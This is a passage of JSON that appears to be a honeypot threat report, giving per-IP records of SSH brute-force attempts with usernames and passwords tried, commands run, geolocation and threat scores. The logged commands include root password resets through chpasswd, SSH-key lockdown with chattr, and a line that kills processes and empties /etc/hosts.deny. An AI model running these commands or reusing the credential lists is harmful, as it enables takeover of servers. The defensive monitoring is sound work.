        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\noC7EmOnkiezr\\noC7EmOnkiezr\\n\"|passwd",
        "echo \"Steam\\nyrCOWyNOjoIs\\nyrCOWyNOjoIs\\n\"|passwd",
        "echo \"kishore123\\nKShXqrIAFRvI\\nKShXqrIAFRvI\\n\"|passwd",
        "echo \"root:8joP8NyvuZTz\"|chpasswd|bash",
        "echo \"root:QX9Znop2mP5y\"|chpasswd|bash",
        "echo -e \"1234\\noC7EmOnkiezr\\noC7EmOnkiezr\"|passwd|bash",
        "echo -e \"Steam\\nyrCOWyNOjoIs\\nyrCOWyNOjoIs\"|passwd|bash",
        "echo -e \"kishore123\\nKShXqrIAFRvI\\nKShXqrIAFRvI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Stoke-on-Trent",
      "asn": 31655,
      "as_org": "Gamma Telecom Holdings Ltd",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 677,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T23:38:13.288000+00:00",
        "last_seen_30d": "2026-03-28T09:47:59.255000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 553,
        "Suricata": 124
      }
    },
    "123.58.213.128": {
      "attack_count": 550,
      "first_seen": "2026-03-03T06:33:25.048Z",
      "last_seen": "2026-03-21T08:11:14.147Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ci",
        "kobo",
        "music",
        "sai",
        "admin1",
        "asdf",
        "bodega",
        "develop",
        "dylan",
        "emma",
        "es",
        "ftpupload",
        "hh",
        "lh",
        "marissa",
        "nikola",
        "promo"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345",
        "112358",
        "12345678@",
        "1234@Abc",
        "1q2w3e4r@",
        "1qaz2wsx3edc!@#",
        "3edcXSW@",
        "@qwer2025",
        "@qwer2026",
        "Baidu@123",
        "Bingo@1993",
        "Hh123!",
        "Huawei!123",
        "QAZxsw123",
        "Qwe123456."
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\noTmGvRKGfFVp\\noTmGvRKGfFVp\\n\"|passwd",
        "echo \"123\\nUstG8Fw08ui5\\nUstG8Fw08ui5\\n\"|passwd",
        "echo \"music\\nmqaTvfYt6Cda\\nmqaTvfYt6Cda\\n\"|passwd",
        "echo \"saipass\\n424yP2EXCprX\\n424yP2EXCprX\\n\"|passwd",
        "echo -e \"123456\\noTmGvRKGfFVp\\noTmGvRKGfFVp\"|passwd|bash",
        "echo -e \"123\\nUstG8Fw08ui5\\nUstG8Fw08ui5\"|passwd|bash",
        "echo -e \"music\\nmqaTvfYt6Cda\\nmqaTvfYt6Cda\"|passwd|bash",
        "echo -e \"saipass\\n424yP2EXCprX\\n424yP2EXCprX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 684,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:33:25.048000+00:00",
        "last_seen_30d": "2026-03-21T08:12:18.387000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 550,
        "Suricata": 134
      }
    },
    "103.63.25.61": {
      "attack_count": 505,
      "first_seen": "2026-03-10T15:16:45.255Z",
      "last_seen": "2026-03-19T03:19:03.207Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "ll",
        "mukesh",
        "xxx",
        "zhangsan",
        "a",
        "aa",
        "admin1",
        "administrator",
        "altibase",
        "angelica",
        "arm",
        "bkp",
        "clawd",
        "colin",
        "dasusr1",
        "esuser",
        "git"
      ],
      "passwords_attempted": [
        "password",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "!QAZxdr5",
        "1",
        "12345",
        "123ASDasd",
        "Bkp",
        "Luis123!",
        "M3gaP33!",
        "Mukesh123",
        "Password2025",
        "Prof123!",
        "User123!",
        "User123123!",
        "Web_admin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nzpba4BPxJpgE\\nzpba4BPxJpgE\\n\"|passwd",
        "echo \"User123!\\n6eBIuXeiM0iW\\n6eBIuXeiM0iW\\n\"|passwd",
        "echo \"ll1234\\ns5IXASqLrE7q\\ns5IXASqLrE7q\\n\"|passwd",
        "echo \"root:58Cuc2mslet1\"|chpasswd|bash",
        "echo -e \"1234\\nzpba4BPxJpgE\\nzpba4BPxJpgE\"|passwd|bash",
        "echo -e \"User123!\\n6eBIuXeiM0iW\\n6eBIuXeiM0iW\"|passwd|bash",
        "echo -e \"ll1234\\ns5IXASqLrE7q\\ns5IXASqLrE7q\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 634,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T15:16:45.255000+00:00",
        "last_seen_30d": "2026-03-19T03:20:12.067000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 505,
        "Suricata": 129
      }
    },
    "103.59.94.117": {
      "attack_count": 455,
      "first_seen": "2026-03-13T12:28:09.519Z",
      "last_seen": "2026-03-14T08:49:44.033Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "dhiraj",
        "hzy",
        "internet",
        "root",
        "ubuntu",
        "ben",
        "cyber",
        "datacenter",
        "dell",
        "dockeradmin",
        "git",
        "issabel",
        "k8suser",
        "monitor",
        "ocs",
        "support",
        "vip1",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "$upp0rt",
        "1998",
        "Cyber123",
        "Hzy123",
        "Pa$$w0rd12345",
        "adminadmin",
        "benpass",
        "datacenter123",
        "dell123",
        "dhiraj123!",
        "gitea",
        "internet",
        "issabel",
        "monitorpass",
        "pass123",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Hzy123\\nF3fllRmojYmp\\nF3fllRmojYmp\\n\"|passwd",
        "echo \"adminadmin\\ns9p0PYieYXp5\\ns9p0PYieYXp5\\n\"|passwd",
        "echo \"dhiraj123!\\nXhL7YbEoI08P\\nXhL7YbEoI08P\\n\"|passwd",
        "echo \"internet\\netTzQu4OyyBo\\netTzQu4OyyBo\\n\"|passwd",
        "echo \"pass123\\nmSxOZMn4sxrY\\nmSxOZMn4sxrY\\n\"|passwd",
        "echo -e \"Hzy123\\nF3fllRmojYmp\\nF3fllRmojYmp\"|passwd|bash",
        "echo -e \"adminadmin\\ns9p0PYieYXp5\\ns9p0PYieYXp5\"|passwd|bash",
        "echo -e \"dhiraj123!\\nXhL7YbEoI08P\\nXhL7YbEoI08P\"|passwd|bash",
        "echo -e \"internet\\netTzQu4OyyBo\\netTzQu4OyyBo\"|passwd|bash",
        "echo -e \"pass123\\nmSxOZMn4sxrY\\nmSxOZMn4sxrY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 528,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T12:28:09.519000+00:00",
        "last_seen_30d": "2026-03-14T08:50:46.376000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 455,
        "Suricata": 73
      }
    },
    "171.231.195.176": {
      "attack_count": 409,
      "first_seen": "2026-03-19T08:32:17.446Z",
      "last_seen": "2026-03-19T09:06:58.421Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "ubnt",
        "*****",
        "123456",
        "ace",
        "admian",
        "auto",
        "backup",
        "btf",
        "carol",
        "cf1c22",
        "db2inst2",
        "developer",
        "dubai",
        "ftp",
        "ftpuser",
        "george",
        "guest"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345",
        "P@ssw0rd",
        "admin",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "111111",
        "123",
        "321start",
        "91482d",
        "abc123",
        "abcd1234",
        "ace",
        "admin1",
        "administrator",
        "aerohive",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 585,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:32:17.446000+00:00",
        "last_seen_30d": "2026-03-19T09:07:59.367000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 409,
        "Suricata": 176
      }
    },
    "157.245.99.67": {
      "attack_count": 393,
      "first_seen": "2026-03-02T04:03:47.128Z",
      "last_seen": "2026-03-02T05:17:26.992Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "pi",
        "postgres",
        "admin",
        "guest",
        "root",
        "test",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "12345678",
        "123456789",
        "password",
        "qwerty",
        "123456",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 560,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:03:47.128000+00:00",
        "last_seen_30d": "2026-03-02T05:18:33.400000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 393,
        "Suricata": 167
      }
    },
    "51.210.179.197": {
      "attack_count": 389,
      "first_seen": "2026-03-03T09:43:37.234Z",
      "last_seen": "2026-03-06T10:46:44.173Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mslee21",
        "patricia",
        "chenghao",
        "common",
        "dev",
        "github-runner",
        "hamza",
        "help",
        "tmp",
        "webapp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "123456a@",
        "1234qwerty",
        "1234rfv",
        "1qaz$RFV",
        "@qwer2024",
        "@qwer2025",
        "Bingo@1993",
        "Hamza123",
        "P@ssw0rd",
        "Welcome@1234",
        "ZAQ123wsx",
        "devtest",
        "hahaha",
        "jimmy",
        "mslee21!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"mslee21!!\\n0nsQ1s3aPbk8\\n0nsQ1s3aPbk8\\n\"|passwd",
        "echo \"patriciapass\\nUkum0ixLrgGs\\nUkum0ixLrgGs\\n\"|passwd",
        "echo \"root:Sa7tokU0KDsj\"|chpasswd|bash",
        "echo \"root:gF6FJnat10AY\"|chpasswd|bash",
        "echo -e \"mslee21!!\\n0nsQ1s3aPbk8\\n0nsQ1s3aPbk8\"|passwd|bash",
        "echo -e \"patriciapass\\nUkum0ixLrgGs\\nUkum0ixLrgGs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 461,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:43:37.234000+00:00",
        "last_seen_30d": "2026-03-06T10:47:52.319000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 389,
        "Suricata": 72
      }
    },
    "50.104.70.175": {
      "attack_count": 381,
      "first_seen": "2026-03-16T18:21:41.817Z",
      "last_seen": "2026-03-29T10:33:57.196Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ariel",
        "eoffice",
        "christian",
        "demo",
        "julia",
        "krishna",
        "orange",
        "panel",
        "rohit",
        "sean",
        "shared",
        "student8",
        "topgui",
        "usuario1"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "!123",
        "123.com@@",
        "1234",
        "1414",
        "1Q2W3E",
        "2025@qwe",
        "Aa1234",
        "Hello@1234",
        "Julia123",
        "Orange",
        "QAZwsx.123",
        "Xc.123456",
        "aaabbb",
        "andromeda",
        "cl123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nepFoiewdanic\\nepFoiewdanic\\n\"|passwd",
        "echo \"eofficeeoffice\\n8D5ZLLjB5CGg\\n8D5ZLLjB5CGg\\n\"|passwd",
        "echo \"root:Hf80XTtdLweg\"|chpasswd|bash",
        "echo -e \"123\\nepFoiewdanic\\nepFoiewdanic\"|passwd|bash",
        "echo -e \"eofficeeoffice\\n8D5ZLLjB5CGg\\n8D5ZLLjB5CGg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fort Wayne",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 479,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:21:41.817000+00:00",
        "last_seen_30d": "2026-03-29T10:35:03.592000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 98
      }
    },
    "185.208.159.64": {
      "attack_count": 379,
      "first_seen": "2026-03-03T11:14:20.651Z",
      "last_seen": "2026-03-09T11:20:23.694Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "angel",
        "ethan",
        "abe",
        "bin",
        "canon",
        "gateway",
        "info",
        "mukul",
        "sipv",
        "telegram"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1020",
        "123!@#asd",
        "123456",
        "12345678",
        "Admin@007",
        "Alpha123",
        "Bingo@1993",
        "Passwd123",
        "abc123",
        "abe1234",
        "angel123",
        "asdasd12",
        "info123!",
        "mukul123",
        "password",
        "qwer@123",
        "radware"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\niKtMRzafTx9z\\niKtMRzafTx9z\\n\"|passwd",
        "echo \"angel123\\n13pkZqoUAnXT\\n13pkZqoUAnXT\\n\"|passwd",
        "echo \"root:AOSvYSzvl2k1\"|chpasswd|bash",
        "echo \"root:ed92aAJ5qGZj\"|chpasswd|bash",
        "echo -e \"12345678\\niKtMRzafTx9z\\niKtMRzafTx9z\"|passwd|bash",
        "echo -e \"angel123\\n13pkZqoUAnXT\\n13pkZqoUAnXT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 445,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:14:20.651000+00:00",
        "last_seen_30d": "2026-03-09T11:21:27.360000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 379,
        "Suricata": 66
      }
    },
    "185.196.10.164": {
      "attack_count": 357,
      "first_seen": "2026-03-14T08:53:54.564Z",
      "last_seen": "2026-03-26T11:56:58.386Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cb",
        "dario",
        "dolphinscheduler",
        "alexandra",
        "alyssa",
        "assistant",
        "ben",
        "bin",
        "cc",
        "ftpd",
        "gns3",
        "guara",
        "llm",
        "m1",
        "matic",
        "reolink",
        "stack",
        "sunshine"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "123456Ab",
        "123qwe123QWE",
        "585858",
        "Alyssa123",
        "Llm123",
        "Qazwsx123!@#",
        "Uftp123",
        "Wang1234",
        "Was123",
        "alexandra@123",
        "bin@123",
        "cbpass",
        "ccpass",
        "dario123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cbpass\\n8bZ2N9fMb6id\\n8bZ2N9fMb6id\\n\"|passwd",
        "echo \"dario123\\nAdNDXX4t26Sk\\nAdNDXX4t26Sk\\n\"|passwd",
        "echo \"dolphinschedulerpassword\\nCgzYnMaMWZWV\\nCgzYnMaMWZWV\\n\"|passwd",
        "echo -e \"cbpass\\n8bZ2N9fMb6id\\n8bZ2N9fMb6id\"|passwd|bash",
        "echo -e \"dario123\\nAdNDXX4t26Sk\\nAdNDXX4t26Sk\"|passwd|bash",
        "echo -e \"dolphinschedulerpassword\\nCgzYnMaMWZWV\\nCgzYnMaMWZWV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T08:53:54.564000+00:00",
        "last_seen_30d": "2026-03-26T11:57:59.634000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 83
      }
    },
    "34.91.0.68": {
      "attack_count": 355,
      "first_seen": "2026-03-11T13:10:12.601Z",
      "last_seen": "2026-03-26T07:44:11.283Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bai",
        "jagdish",
        "joshua",
        "root",
        "bodega",
        "desktop",
        "efs",
        "emma",
        "keycloak",
        "n8n",
        "odoo12",
        "pp",
        "proradis",
        "simone",
        "timemachine",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456",
        "1234",
        "12345",
        "Bai123!",
        "Bodega123!",
        "Joshua123!",
        "a",
        "efs123!",
        "keycloak",
        "n8n",
        "password",
        "qq111111"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nqEHr23ebNv56\\nqEHr23ebNv56\\n\"|passwd",
